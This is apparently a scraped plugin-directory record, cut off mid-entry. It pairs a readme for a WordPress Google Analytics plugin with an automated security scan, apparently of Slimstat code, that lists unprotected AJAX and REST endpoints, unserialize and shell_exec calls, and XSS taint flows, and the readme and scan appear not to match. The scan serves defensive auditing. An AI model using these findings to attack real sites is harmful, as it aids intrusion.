Management\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cul>\n\u003Cli>The Better Google Analytics plugin can create a new web property\u002Fprofile on your Google Analytics account if needed (if it’s a new site)\u003C\u002Fli>\n\u003Cli>Auto-Configure system will set certain options automatically on your Google Analytics account if needed\u003C\u002Fli>\n\u003Cli>Auto-Configure system can create custom dimensions for your Google Analytics Web Property and map them to the appropriate Better Google Analytics settings\u003C\u002Fli>\n\u003Cli>Google Analytics Goal Management system allows you to create, edit, activate and disable Google Analytics Goals from within your WordPress admin area\u003C\u002Fli>\n\u003Cli>Google Analytics Content Experiment Management allows you to run A\u002FB (split) testing variations easily\u003C\u002Fli>\n\u003C\u002Ful>\n\u003C\u002Fblockquote>\n\u003Cp>If you link your Google Analytics account, the Better Google Analytics plugin is able to make extensive use of the Google Analytics API to give you a plethora of reporting options (both historical and realtime).  Google Analytics API calls are cached to make them as fast as possible.\u003C\u002Fp>\n\u003Cp>Better Google Analytics uses lightweight (and client-side cacheable) JavaScript to give your users the fastest possible experience on your website.  Fully compatible with multisite network setups.\u003C\u002Fp>\n\u003Ch4>Better Google Analytics Basic Tracking Features (each can be enabled\u002Fdisabled):\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>Link Attribution\u003C\u002Fli>\n\u003Cli>User-ID\u002FSession Unification\u003C\u002Fli>\n\u003Cli>Enable On AMP Pages\u003C\u002Fli>\n\u003Cli>User Engagement\u003C\u002Fli>\n\u003Cli>Comment Creation\u003C\u002Fli>\n\u003Cli>User Registration\u003C\u002Fli>\n\u003Cli>YouTube Video Engagement\u003C\u002Fli>\n\u003Cli>Emails Sent\u002FOpened\u003C\u002Fli>\n\u003Cli>External Link Clicks\u003C\u002Fli>\n\u003Cli>File Downloads\u003C\u002Fli>\n\u003Cli>Page Scroll Percent\u003C\u002Fli>\n\u003Cli>Time On Page\u003C\u002Fli>\n\u003Cli>Anonymize IPs\u003C\u002Fli>\n\u003Cli>Demographic & Interest\u003C\u002Fli>\n\u003Cli>Force Google Analytics Traffic Over SSL\u003C\u002Fli>\n\u003Cli>RSS\u002FEmail Link Source Tracking\u003C\u002Fli>\n\u003Cli>Advertising Ad Clicks\u003C\u002Fli>\n\u003Cli>Page Not Found (404)\u003C\u002Fli>\n\u003Cli>AJAX Requests\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Better Google Analytics Dimension Tracking:\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>Categories\u003C\u002Fli>\n\u003Cli>Author\u003C\u002Fli>\n\u003Cli>Tags\u003C\u002Fli>\n\u003Cli>Publication Year\u003C\u002Fli>\n\u003Cli>User Role\u003C\u002Fli>\n\u003Cli>User\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Better Google Analytics Social Button Engagement Tracking:\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>Facebook\u003C\u002Fli>\n\u003Cli>Twitter\u003C\u002Fli>\n\u003Cli>Google+\u003C\u002Fli>\n\u003Cli>Pinterest\u003C\u002Fli>\n\u003Cli>LinkedIn\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Better Google Analytics Reporting Features (can be viewed site-wide or for individual page\u002FURL):\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>Dashboard Charts (real time or historical)\u003C\u002Fli>\n\u003Cli>Weekly Heat Maps\u003C\u002Fli>\n\u003Cli>Historical Area Percent Charts\u003C\u002Fli>\n\u003Cli>Events\u003C\u002Fli>\n\u003Cli>Issue Monitoring\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Better Google Analytics Advanced Features:\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>Suppress Google Analytics Tracking By User Role\u003C\u002Fli>\n\u003Cli>View Analytics Reports By User Role\u003C\u002Fli>\n\u003Cli>Adjust Location Of Google Analytics Code\u003C\u002Fli>\n\u003Cli>Defer JavaScript Loading\u003C\u002Fli>\n\u003Cli>Google Analytics Campaign Tracking By Anchor or Parameters\u003C\u002Fli>\n\u003Cli>Adjustable Analytics Sample Rate\u003C\u002Fli>\n\u003Cli>Insert Your Own Custom Google Analytics JavaScript\u003C\u002Fli>\n\u003Cli>Debugging Mode\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>Better Google Analytics Widgets Included:\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>Popular Posts\u003C\u002Fli>\n\u003Cli>Statistics based on selectable Analytics metric\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cblockquote>\n\u003Cp>\u003Cstrong>Better Analytics Pro\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>If you would like additional advanced functions for Google Analytics, we offer a Pro version.\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Additional ad networks for ad click tracking\u003C\u002Fli>\n\u003Cli>More options for site issue monitoring\u003C\u002Fli>\n\u003Cli>More heat map metrics\u003C\u002Fli>\n\u003Cli>More charting dimensions\u003C\u002Fli>\n\u003Cli>More objective metrics for A\u002FB tests (Google Analytics Content Experiments)\u003C\u002Fli>\n\u003Cli>eCommerce tracking (coming soon)\u003C\u002Fli>\n\u003Cli>Option for server-side tracking of users (or bots)\u003C\u002Fli>\n\u003Cli>Faster Google Analytics API calls (uses a custom system for parallel requests)\u003C\u002Fli>\n\u003Cli>Priority support\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fmarketplace.digitalpoint.com\u002Fbetter-analytics-pro.3355\u002Fitem#utm_source=readme&utm_medium=wordpress&utm_campaign=plugin\" rel=\"nofollow ugc\">Pro license available here\u003C\u002Fa>\u003C\u002Fp>\n\u003C\u002Fblockquote>\n\u003Ch3>Note To Other Google Analytics Plugin Authors\u003C\u002Fh3>\n\u003Cp>Truthfully, there are far too many Google Analytics plugins for WordPress that generally do the same thing (especially the ones that simply add Google Analytics code to WordPress pages).  If any Google Analytics plugin authors are interested in somehow consolidating plugins, let us know (not really sure how that would work to be honest, but something we could brainstorm and figure out the best way to do it that works for everyone).\u003C\u002Fp>\n\u003Ch3>CDN\u003C\u002Fh3>\n\u003Cp>The JavaScript used by Better Google Analytics should be able to be cached properly by content delivery networks (it has been tested with CloudFlare).  This means if your site uses CloudFlare, the JavaScript code used by Google Analytics will be cached in their data centers and delivered to end users via the closest data center (long story short is that it will make for a faster user experience).\u003C\u002Fp>\n\u003Ch3>Thanks\u003C\u002Fh3>\n\u003Cp>Thank you to all the individuals who have contributed translations for Better Google Analytics (please send us a note if you have helped translating Better Google Analytics):\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Indonesian: \u003Ca href=\"http:\u002F\u002Fwww.developingwp.com\u002F#utm_source=readme&utm_medium=wordpress&utm_campaign=plugin\" rel=\"nofollow ugc\">Arick\u003C\u002Fa>\u003C\u002Fli>\n\u003C\u002Ful>\n","Track everything with Google Analytics (clicked links, emails opened, YouTube videos being watched, etc.). Includes real time Analytics dashboard.",2000,207518,34,"2022-02-24T19:47:00.000Z","5.9.13","3.8",[20,414,23,24,499],"universal-analytics","https:\u002F\u002Fmarketplace.digitalpoint.com\u002Fbetter-analytics.3354\u002Fitem","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbetter-analytics.1.2.7.zip",85,{"attackSurface":504,"codeSignals":817,"taintFlows":1174,"riskAssessment":1432,"analyzedAt":1459},{"hooks":505,"ajaxHandlers":721,"restRoutes":768,"shortcodes":801,"cronEvents":806,"entryPointCount":816,"unprotectedCount":103},[506,512,516,520,525,529,534,538,542,545,548,551,555,559,562,564,568,572,575,578,582,584,587,589,593,596,599,603,607,610,614,618,622,627,630,634,638,642,646,649,652,655,657,661,664,668,672,675,678,682,685,689,693,696,699,702,705,708,711,715,718],{"type":507,"name":508,"callback":509,"file":510,"line":511},"action","admin_menu","closure","admin\\index.php",30,{"type":507,"name":513,"callback":514,"file":510,"line":515},"admin_post_slimstat_reset_layout","handle_reset_layout",38,{"type":507,"name":517,"callback":518,"file":510,"line":519},"wpmu_new_blog","new_blog",164,{"type":521,"name":522,"callback":523,"priority":461,"file":510,"line":524},"filter","wpmu_drop_tables","drop_tables",168,{"type":507,"name":526,"callback":527,"file":510,"line":528},"admin_notices","show_latest_news",172,{"type":507,"name":530,"callback":531,"priority":532,"file":510,"line":533},"transition_comment_status","remove_spam",15,178,{"type":507,"name":535,"callback":536,"priority":417,"file":510,"line":537},"admin_bar_menu","add_menu_to_adminbar",183,{"type":507,"name":539,"callback":540,"file":510,"line":541},"admin_enqueue_scripts","enqueue_adminbar_styles",184,{"type":507,"name":543,"callback":540,"file":510,"line":544},"wp_enqueue_scripts",185,{"type":507,"name":508,"callback":546,"file":510,"line":547},"add_menus",190,{"type":507,"name":539,"callback":549,"file":510,"line":550},"wp_slimstat_stylesheet",204,{"type":507,"name":552,"callback":553,"file":510,"line":554},"wp","init_data_for_column",205,{"type":507,"name":556,"callback":557,"file":510,"line":558},"admin_init","update_tables_and_options",211,{"type":507,"name":539,"callback":560,"file":510,"line":561},"wp_slimstat_enqueue_scripts",248,{"type":507,"name":539,"callback":549,"file":510,"line":563},249,{"type":507,"name":565,"callback":566,"file":510,"line":567},"wp_dashboard_setup","add_dashboard_widgets",252,{"type":507,"name":569,"callback":570,"file":510,"line":571},"admin_head","styling_admin_menu",372,{"type":521,"name":573,"callback":509,"priority":461,"file":510,"line":574},"slimstat_report_header_buttons",378,{"type":507,"name":526,"callback":576,"file":510,"line":577},"show_indexes_notice",394,{"type":521,"name":579,"callback":580,"file":510,"line":581},"admin_body_class","add_admin_body_class",1054,{"type":507,"name":539,"callback":509,"file":510,"line":583},2364,{"type":521,"name":585,"callback":509,"priority":461,"file":510,"line":586},"script_loader_tag",2369,{"type":521,"name":585,"callback":509,"priority":461,"file":510,"line":588},2395,{"type":507,"name":508,"callback":590,"priority":591,"file":592,"line":28},"registerPage",20,"src\\Migration\\Admin\\MigrationAdmin.php",{"type":507,"name":526,"callback":594,"file":592,"line":595},"maybeShowNotice",25,{"type":521,"name":579,"callback":597,"file":592,"line":598},"addBodyClass",63,{"type":507,"name":600,"callback":509,"priority":473,"file":601,"line":602},"init","src\\Migration\\MigrationService.php",23,{"type":507,"name":604,"callback":605,"file":606,"line":494},"rest_api_init","register_routes","src\\Providers\\RestApiManager.php",{"type":507,"name":600,"callback":608,"file":606,"line":609},"rewriteRuleRequest",35,{"type":507,"name":611,"callback":612,"file":606,"line":613},"template_redirect","handleAdblockTracking",36,{"type":507,"name":600,"callback":615,"priority":439,"file":616,"line":617},"maybe_load_legacy_adapter","src\\Reports\\Bootstrap.php",186,{"type":507,"name":619,"callback":620,"file":616,"line":621},"slimstat_register_custom_reports","register_custom_reports",189,{"type":521,"name":623,"callback":624,"priority":625,"file":626,"line":598},"slimstat_reports_info","merge_reports",999,"src\\Reports\\Registry\\LegacyReportAdapter.php",{"type":507,"name":628,"callback":629,"priority":625,"file":626,"line":393},"wp_slimstat_reports_init","sort_new_reports_by_priority",{"type":507,"name":539,"callback":631,"file":632,"line":633},"enqueue_assets","src\\Reports\\Types\\Analytics\\LiveAnalyticsReport.php",478,{"type":507,"name":556,"callback":635,"file":636,"line":637},"registerActions","src\\Services\\Admin\\Notification\\NotificationManager.php",12,{"type":521,"name":639,"callback":640,"priority":461,"file":641,"line":482},"wp_get_consent_type","anonymous","src\\Utils\\Consent.php",{"type":507,"name":643,"callback":644,"priority":461,"file":82,"line":645},"login_init","slimtrack",292,{"type":507,"name":647,"callback":648,"priority":461,"file":82,"line":275},"login_enqueue_scripts","enqueue_tracker",{"type":521,"name":585,"callback":650,"priority":461,"file":82,"line":651},"add_defer_to_script_tag",302,{"type":507,"name":543,"callback":653,"priority":591,"file":82,"line":654},"enqueue_gdpr_assets",308,{"type":507,"name":647,"callback":653,"priority":591,"file":82,"line":656},309,{"type":507,"name":658,"callback":659,"priority":439,"file":82,"line":660},"wp_footer","render_gdpr_banner",310,{"type":507,"name":662,"callback":659,"priority":439,"file":82,"line":663},"login_footer",311,{"type":521,"name":665,"callback":666,"file":82,"line":667},"wp_privacy_personal_data_exporters","registerExporters",338,{"type":521,"name":669,"callback":670,"file":82,"line":671},"wp_privacy_personal_data_erasers","registerErasers",339,{"type":507,"name":556,"callback":673,"file":82,"line":674},"registerPrivacyPolicyContent",342,{"type":507,"name":676,"callback":676,"file":82,"line":677},"wp_slimstat_purge",348,{"type":507,"name":679,"callback":680,"file":82,"line":681},"wp_slimstat_generate_daily_salt","generateDailySalt",351,{"type":507,"name":683,"callback":683,"file":82,"line":684},"wp_slimstat_update_geoip_database",354,{"type":521,"name":686,"callback":687,"file":82,"line":688},"allowed_http_origins","open_cors_admin_ajax",357,{"type":521,"name":690,"callback":691,"priority":461,"file":82,"line":692},"wp_redirect_status","update_content_type",362,{"type":507,"name":600,"callback":694,"file":82,"line":695},"init_plugin",368,{"type":507,"name":604,"callback":697,"file":82,"line":698},"register_rest_route",371,{"type":507,"name":600,"callback":600,"priority":700,"file":82,"line":701},60,376,{"type":507,"name":611,"callback":703,"file":82,"line":704},"adblocker_javascript",700,{"type":507,"name":600,"callback":706,"file":82,"line":707},"rewrite_rule_tracker",701,{"type":521,"name":709,"callback":640,"file":82,"line":710},"date_i8n",873,{"type":507,"name":712,"callback":713,"file":82,"line":714},"widgets_init","register_widget",1694,{"type":507,"name":600,"callback":716,"priority":49,"file":82,"line":717},"load_textdomain",1697,{"type":507,"name":719,"callback":600,"priority":591,"file":82,"line":720},"plugins_loaded",1700,[722,726,731,735,739,743,748,750,753,755,758,760,764],{"action":723,"nopriv":54,"callback":724,"hasNonce":54,"hasCapCheck":54,"file":510,"line":725},"slimstat_load_report","callback_wrapper",236,{"action":727,"nopriv":54,"callback":728,"hasNonce":729,"hasCapCheck":729,"file":592,"line":730},"slimstat_run_migrations","ajaxRunMigrations",true,26,{"action":732,"nopriv":54,"callback":733,"hasNonce":729,"hasCapCheck":729,"file":592,"line":734},"slimstat_migration_dismiss","ajaxDismiss",27,{"action":736,"nopriv":54,"callback":737,"hasNonce":729,"hasCapCheck":729,"file":592,"line":738},"slimstat_migration_reset","ajaxResetDismissal",28,{"action":740,"nopriv":54,"callback":741,"hasNonce":729,"hasCapCheck":54,"file":632,"line":742},"slimstat_get_live_analytics_data","ajax_get_live_analytics_data",474,{"action":744,"nopriv":54,"callback":745,"hasNonce":729,"hasCapCheck":54,"file":746,"line":747},"slimstat_consent_revoked","handleConsentRevoked","src\\Services\\Privacy\\ConsentHandler.php",67,{"action":744,"nopriv":729,"callback":745,"hasNonce":729,"hasCapCheck":54,"file":746,"line":749},68,{"action":751,"nopriv":54,"callback":752,"hasNonce":729,"hasCapCheck":54,"file":746,"line":473},"slimstat_gdpr_consent","handleBannerConsent",{"action":751,"nopriv":729,"callback":752,"hasNonce":729,"hasCapCheck":54,"file":746,"line":754},71,{"action":644,"nopriv":729,"callback":756,"hasNonce":54,"hasCapCheck":54,"file":82,"line":757},"handle",1682,{"action":644,"nopriv":54,"callback":756,"hasNonce":54,"hasCapCheck":54,"file":82,"line":759},1683,{"action":761,"nopriv":54,"callback":762,"hasNonce":54,"hasCapCheck":54,"file":82,"line":763},"slimstat_fetch_chart_data","ajaxFetchChartData",1702,{"action":765,"nopriv":54,"callback":766,"hasNonce":729,"hasCapCheck":729,"file":82,"line":767},"slimstat_clear_cache","wp_slimstat_clear_cache_handler",1705,[769,778,784,790,795],{"namespace":770,"route":771,"methods":772,"callback":774,"permissionCallback":775,"file":776,"line":777},"slimstat\u002Fv1","\u002Fconsent-change",[773],"POST","handle_consent_change","__return_true","src\\Controllers\\Rest\\ConsentChangeRestController.php",42,{"namespace":770,"route":779,"methods":780,"callback":782,"permissionCallback":509,"file":783,"line":595},"\u002Fconsent-health",[781],"GET","handle_health_check","src\\Controllers\\Rest\\ConsentHealthRestController.php",{"namespace":770,"route":785,"methods":786,"callback":787,"permissionCallback":775,"file":788,"line":789},"\u002Fgdpr\u002Fconsent",[773],"handle_consent","src\\Controllers\\Rest\\GDPRBannerRestController.php",32,{"namespace":770,"route":791,"methods":792,"callback":793,"permissionCallback":775,"file":794,"line":494},"\u002Fhit",[773],"handle_tracking","src\\Controllers\\Rest\\TrackingRestController.php",{"namespace":770,"route":796,"methods":797,"callback":798,"permissionCallback":799,"file":82,"line":800},"\u002Fget",[781],"rest_api_response","rest_api_authorization",796,[802],{"tag":803,"callback":804,"file":82,"line":805},"slimstat","slimstat_shortcode",365,[807,810,812,814],{"hook":683,"callback":683,"file":808,"line":809},"admin\\config\\index.php",861,{"hook":676,"callback":676,"file":510,"line":811},280,{"hook":679,"callback":679,"file":510,"line":813},285,{"hook":683,"callback":683,"file":510,"line":815},291,19,{"dangerousFunctions":818,"sqlUsage":935,"outputEscaping":953,"fileOperations":451,"externalRequests":461,"nonceChecks":595,"capabilityChecks":738,"bundledLibraries":1170},[819,824,827,829,831,833,836,838,841,845,849,851,853,856,857,860,863,865,868,869,872,874,878,882,886,890,892,897,900,904,906,909,912,915,917,919,921,923,925,928,930,933],{"fn":820,"file":821,"line":822,"context":823},"assert","src\\Dependencies\\BrowscapPHP\\BrowscapUpdater.php",102,"assert($cachedVersion === null || is_int($cachedVersion));",{"fn":820,"file":821,"line":825,"context":826},131,"assert($response instanceof ResponseInterface);",{"fn":820,"file":821,"line":828,"context":826},191,{"fn":820,"file":821,"line":830,"context":823},231,{"fn":820,"file":821,"line":832,"context":826},239,{"fn":820,"file":834,"line":835,"context":823},"src\\Dependencies\\BrowscapPHP\\Cache\\BrowscapCache.php",64,{"fn":820,"file":834,"line":391,"context":837},"assert($releaseDate === null || is_string($releaseDate));",{"fn":820,"file":834,"line":839,"context":840},108,"assert($type === null || is_string($type));",{"fn":842,"file":834,"line":843,"context":844},"unserialize",137,"return unserialize($data['content']);",{"fn":820,"file":846,"line":847,"context":848},"src\\Dependencies\\BrowscapPHP\\Command\\CheckUpdateCommand.php",62,"assert(is_string($cacheOption));",{"fn":820,"file":850,"line":700,"context":848},"src\\Dependencies\\BrowscapPHP\\Command\\ConvertCommand.php",{"fn":820,"file":850,"line":749,"context":852},"assert(is_string($file));",{"fn":820,"file":854,"line":855,"context":848},"src\\Dependencies\\BrowscapPHP\\Command\\FetchCommand.php",59,{"fn":820,"file":854,"line":835,"context":852},{"fn":820,"file":854,"line":858,"context":859},75,"assert(is_string($remoteFileOption));",{"fn":820,"file":861,"line":862,"context":848},"src\\Dependencies\\BrowscapPHP\\Command\\ParserCommand.php",58,{"fn":820,"file":861,"line":835,"context":864},"assert(is_string($uaArgument));",{"fn":820,"file":866,"line":867,"context":848},"src\\Dependencies\\BrowscapPHP\\Command\\UpdateCommand.php",57,{"fn":820,"file":866,"line":835,"context":859},{"fn":820,"file":870,"line":474,"context":871},"src\\Dependencies\\BrowscapPHP\\Helper\\LoggerHelper.php","assert(is_callable($memoryProcessor));",{"fn":820,"file":870,"line":613,"context":873},"assert(is_callable($peakMemoryProcessor));",{"fn":820,"file":875,"line":876,"context":877},"src\\Dependencies\\BrowscapPHP\\Parser\\Helper\\GetData.php",138,"assert(is_array($return));",{"fn":842,"file":879,"line":880,"context":881},"src\\Dependencies\\MatthiasMullie\\Scrapbook\\Adapters\\Couchbase.php",646,"$unserialized = @unserialize($value);",{"fn":842,"file":883,"line":884,"context":885},"src\\Dependencies\\MatthiasMullie\\Scrapbook\\Adapters\\Flysystem.php",52,"$value = unserialize($data[1]);",{"fn":842,"file":887,"line":888,"context":889},"src\\Dependencies\\MatthiasMullie\\Scrapbook\\Adapters\\MemoryStore.php",61,"return unserialize($value);",{"fn":842,"file":891,"line":692,"context":889},"src\\Dependencies\\MatthiasMullie\\Scrapbook\\Adapters\\SQL.php",{"fn":893,"file":894,"line":895,"context":896},"shell_exec","src\\Dependencies\\Symfony\\Component\\Console\\Application.php",841,"$sttyMode = shell_exec('stty -g');",{"fn":893,"file":894,"line":898,"context":899},844,"shell_exec('stty ' . $sttyMode);",{"fn":901,"file":902,"line":229,"context":903},"proc_open","src\\Dependencies\\Symfony\\Component\\Console\\Cursor.php","$isTtySupported = (bool) @proc_open('echo 1 >\u002Fdev\u002Fnull', [['file', '\u002Fdev\u002Ftty', 'r'], ['file', '\u002Fdev\u002F",{"fn":893,"file":902,"line":905,"context":896},159,{"fn":893,"file":902,"line":907,"context":908},160,"shell_exec('stty -icanon -echo');",{"fn":893,"file":902,"line":910,"context":911},163,"shell_exec(sprintf('stty %s', $sttyMode));",{"fn":893,"file":913,"line":914,"context":896},"src\\Dependencies\\Symfony\\Component\\Console\\Helper\\QuestionHelper.php",216,{"fn":893,"file":913,"line":916,"context":908},221,{"fn":893,"file":913,"line":918,"context":899},233,{"fn":893,"file":913,"line":920,"context":899},318,{"fn":893,"file":913,"line":681,"context":922},"$sExec = shell_exec('\"' . $exe . '\"');",{"fn":893,"file":913,"line":924,"context":896},360,{"fn":893,"file":913,"line":926,"context":927},361,"shell_exec('stty -echo');",{"fn":893,"file":913,"line":929,"context":899},367,{"fn":893,"file":931,"line":847,"context":932},"src\\Dependencies\\Symfony\\Component\\Console\\Terminal.php","return self::$stty = (bool) shell_exec('stty 2> ' . ('\\\\' === \\DIRECTORY_SEPARATOR ? 'NUL' : '\u002Fdev\u002Fn",{"fn":901,"file":931,"line":843,"context":934},"if (!$process = @proc_open($command, $descriptorspec, $pipes, null, null, ['suppress_errors' => true",{"prepared":828,"raw":936,"locations":937},6,[938,941,945,947,949,951],{"file":891,"line":939,"context":940},142,"$wpdb->query() with variable interpolation",{"file":942,"line":943,"context":944},"src\\Tracker\\VisitIdGenerator.php",213,"$wpdb->get_var() with variable interpolation",{"file":82,"line":946,"context":940},1333,{"file":82,"line":948,"context":940},1334,{"file":82,"line":950,"context":940},1335,{"file":82,"line":952,"context":940},1336,{"escaped":954,"rawEcho":955,"locations":956},560,114,[957,960,962,964,965,967,969,971,973,975,977,979,981,983,985,987,989,991,993,995,997,999,1001,1003,1005,1007,1009,1011,1013,1015,1017,1019,1021,1023,1025,1027,1028,1030,1032,1034,1036,1039,1040,1042,1044,1046,1048,1049,1052,1054,1056,1058,1060,1062,1064,1066,1068,1070,1072,1074,1076,1078,1080,1082,1084,1086,1088,1090,1092,1094,1096,1098,1100,1102,1104,1106,1109,1110,1112,1115,1117,1118,1119,1120,1121,1122,1123,1124,1125,1126,1127,1129,1130,1132,1134,1136,1137,1138,1140,1142,1144,1146,1148,1150,1151,1152,1154,1156,1158,1160,1162,1164,1166,1168],{"file":808,"line":958,"context":959},986,"raw output",{"file":808,"line":961,"context":959},1004,{"file":808,"line":963,"context":959},1013,{"file":808,"line":963,"context":959},{"file":808,"line":966,"context":959},1016,{"file":808,"line":968,"context":959},1063,{"file":808,"line":970,"context":959},1066,{"file":808,"line":972,"context":959},1070,{"file":808,"line":974,"context":959},1089,{"file":808,"line":976,"context":959},1095,{"file":808,"line":978,"context":959},1097,{"file":808,"line":980,"context":959},1107,{"file":808,"line":982,"context":959},1137,{"file":808,"line":984,"context":959},1143,{"file":808,"line":986,"context":959},1150,{"file":808,"line":988,"context":959},1165,{"file":808,"line":990,"context":959},1173,{"file":510,"line":992,"context":959},868,{"file":510,"line":994,"context":959},1478,{"file":510,"line":996,"context":959},1496,{"file":510,"line":998,"context":959},1498,{"file":510,"line":1000,"context":959},1627,{"file":510,"line":1002,"context":959},1635,{"file":510,"line":1004,"context":959},1658,{"file":510,"line":1006,"context":959},2626,{"file":510,"line":1008,"context":959},2627,{"file":510,"line":1010,"context":959},2630,{"file":510,"line":1012,"context":959},2645,{"file":510,"line":1014,"context":959},2646,{"file":510,"line":1016,"context":959},2651,{"file":510,"line":1018,"context":959},2652,{"file":510,"line":1020,"context":959},2678,{"file":1022,"line":473,"context":959},"admin\\view\\addons.php",{"file":1022,"line":1024,"context":959},81,{"file":1026,"line":494,"context":959},"admin\\view\\index.php",{"file":1026,"line":613,"context":959},{"file":1026,"line":1029,"context":959},39,{"file":1026,"line":1031,"context":959},43,{"file":1026,"line":1033,"context":959},122,{"file":1026,"line":1035,"context":959},127,{"file":1037,"line":1038,"context":959},"admin\\view\\layout.php",22,{"file":1037,"line":474,"context":959},{"file":1037,"line":1041,"context":959},55,{"file":1043,"line":884,"context":959},"admin\\view\\right-now.php",{"file":1043,"line":1045,"context":959},206,{"file":1043,"line":1047,"context":959},340,{"file":1043,"line":677,"context":959},{"file":1050,"line":1051,"context":959},"admin\\view\\wp-slimstat-reports.php",1015,{"file":1050,"line":1053,"context":959},1118,{"file":1050,"line":1055,"context":959},1125,{"file":1050,"line":1057,"context":959},1141,{"file":1050,"line":1059,"context":959},1462,{"file":1050,"line":1061,"context":959},1468,{"file":1050,"line":1063,"context":959},1513,{"file":1050,"line":1065,"context":959},1531,{"file":1050,"line":1067,"context":959},1536,{"file":1050,"line":1069,"context":959},1544,{"file":1050,"line":1071,"context":959},1571,{"file":1050,"line":1073,"context":959},1603,{"file":1050,"line":1075,"context":959},1609,{"file":1050,"line":1077,"context":959},1678,{"file":1050,"line":1079,"context":959},1762,{"file":1050,"line":1081,"context":959},1772,{"file":1050,"line":1083,"context":959},1775,{"file":1050,"line":1085,"context":959},1781,{"file":1050,"line":1087,"context":959},1783,{"file":1050,"line":1089,"context":959},1798,{"file":1050,"line":1091,"context":959},1801,{"file":1050,"line":1093,"context":959},2007,{"file":592,"line":1095,"context":959},196,{"file":592,"line":1097,"context":959},197,{"file":592,"line":1099,"context":959},198,{"file":592,"line":1101,"context":959},202,{"file":592,"line":1103,"context":959},218,{"file":606,"line":1105,"context":959},171,{"file":1107,"line":1108,"context":959},"src\\Reports\\Abstracts\\AbstractReport.php",247,{"file":1107,"line":561,"context":959},{"file":1107,"line":1111,"context":959},355,{"file":1113,"line":1114,"context":959},"src\\view\\migration-page.php",11,{"file":1113,"line":1116,"context":959},16,{"file":1113,"line":816,"context":959},{"file":1113,"line":816,"context":959},{"file":1113,"line":816,"context":959},{"file":1113,"line":816,"context":959},{"file":1113,"line":816,"context":959},{"file":1113,"line":591,"context":959},{"file":1113,"line":602,"context":959},{"file":1113,"line":730,"context":959},{"file":1113,"line":734,"context":959},{"file":1113,"line":738,"context":959},{"file":1113,"line":1128,"context":959},29,{"file":1113,"line":1029,"context":959},{"file":1113,"line":1131,"context":959},41,{"file":1113,"line":1133,"context":959},46,{"file":1113,"line":1135,"context":959},53,{"file":1113,"line":862,"context":959},{"file":1113,"line":847,"context":959},{"file":1139,"line":494,"context":959},"views\\components\\notification\\card.php",{"file":1141,"line":943,"context":959},"views\\reports\\live-analytics.php",{"file":1141,"line":1143,"context":959},214,{"file":1141,"line":1145,"context":959},296,{"file":1141,"line":1147,"context":959},297,{"file":1141,"line":1149,"context":959},298,{"file":1141,"line":275,"context":959},{"file":1141,"line":651,"context":959},{"file":1141,"line":1153,"context":959},303,{"file":1141,"line":1155,"context":959},315,{"file":1141,"line":1157,"context":959},316,{"file":82,"line":1159,"context":959},562,{"file":82,"line":1161,"context":959},1278,{"file":82,"line":1163,"context":959},1581,{"file":82,"line":1165,"context":959},1614,{"file":82,"line":1167,"context":959},1620,{"file":82,"line":1169,"context":959},1626,[1171],{"name":1172,"version":39,"knownCves":1173},"Guzzle",[],[1175,1197,1207,1217,1231,1239,1249,1260,1273,1285,1296,1310,1321,1338,1349,1367,1378,1388,1405,1419],{"entryPoint":1176,"graph":1177,"unsanitizedCount":190,"severity":70},"show_message (admin\\index.php:1487)",{"nodes":1178,"edges":1194},[1179,1184,1189,1192],{"id":1180,"type":1181,"label":1182,"file":510,"line":1183},"n0","source","$_dismiss_handle",1487,{"id":1185,"type":1186,"label":1187,"file":510,"line":996,"wp_function":1188},"n1","sink","echo() [XSS]","echo",{"id":1190,"type":1181,"label":1191,"file":510,"line":1183},"n2","$_type",{"id":1193,"type":1186,"label":1187,"file":510,"line":998,"wp_function":1188},"n3",[1195,1196],{"from":1180,"to":1185,"sanitized":54},{"from":1190,"to":1193,"sanitized":54},{"entryPoint":1198,"graph":1199,"unsanitizedCount":49,"severity":70},"report_header (admin\\view\\wp-slimstat-reports.php:950)",{"nodes":1200,"edges":1205},[1201,1204],{"id":1180,"type":1181,"label":1202,"file":1050,"line":1203},"$_report_id",950,{"id":1185,"type":1186,"label":1187,"file":1050,"line":1051,"wp_function":1188},[1206],{"from":1180,"to":1185,"sanitized":54},{"entryPoint":1208,"graph":1209,"unsanitizedCount":49,"severity":70},"inline_help (admin\\view\\wp-slimstat-reports.php:1999)",{"nodes":1210,"edges":1215},[1211,1214],{"id":1180,"type":1181,"label":1212,"file":1050,"line":1213},"$_text",1999,{"id":1185,"type":1186,"label":1187,"file":1050,"line":1093,"wp_function":1188},[1216],{"from":1180,"to":1185,"sanitized":54},{"entryPoint":1218,"graph":1219,"unsanitizedCount":49,"severity":70},"log (src\\Dependencies\\Symfony\\Component\\Console\\Command\\CompleteCommand.php:140)",{"nodes":1220,"edges":1229},[1221,1225],{"id":1180,"type":1181,"label":1222,"file":1223,"line":1224},"$_SERVER","src\\Dependencies\\Symfony\\Component\\Console\\Command\\CompleteCommand.php",145,{"id":1185,"type":1186,"label":1226,"file":1223,"line":1227,"wp_function":1228},"file_put_contents() [File Write]",146,"file_put_contents",[1230],{"from":1180,"to":1185,"sanitized":54},{"entryPoint":1232,"graph":1233,"unsanitizedCount":49,"severity":70},"\u003CCompleteCommand> (src\\Dependencies\\Symfony\\Component\\Console\\Command\\CompleteCommand.php:0)",{"nodes":1234,"edges":1237},[1235,1236],{"id":1180,"type":1181,"label":1222,"file":1223,"line":1224},{"id":1185,"type":1186,"label":1226,"file":1223,"line":1227,"wp_function":1228},[1238],{"from":1180,"to":1185,"sanitized":54},{"entryPoint":1240,"graph":1241,"unsanitizedCount":49,"severity":70},"slimstat_shortcode 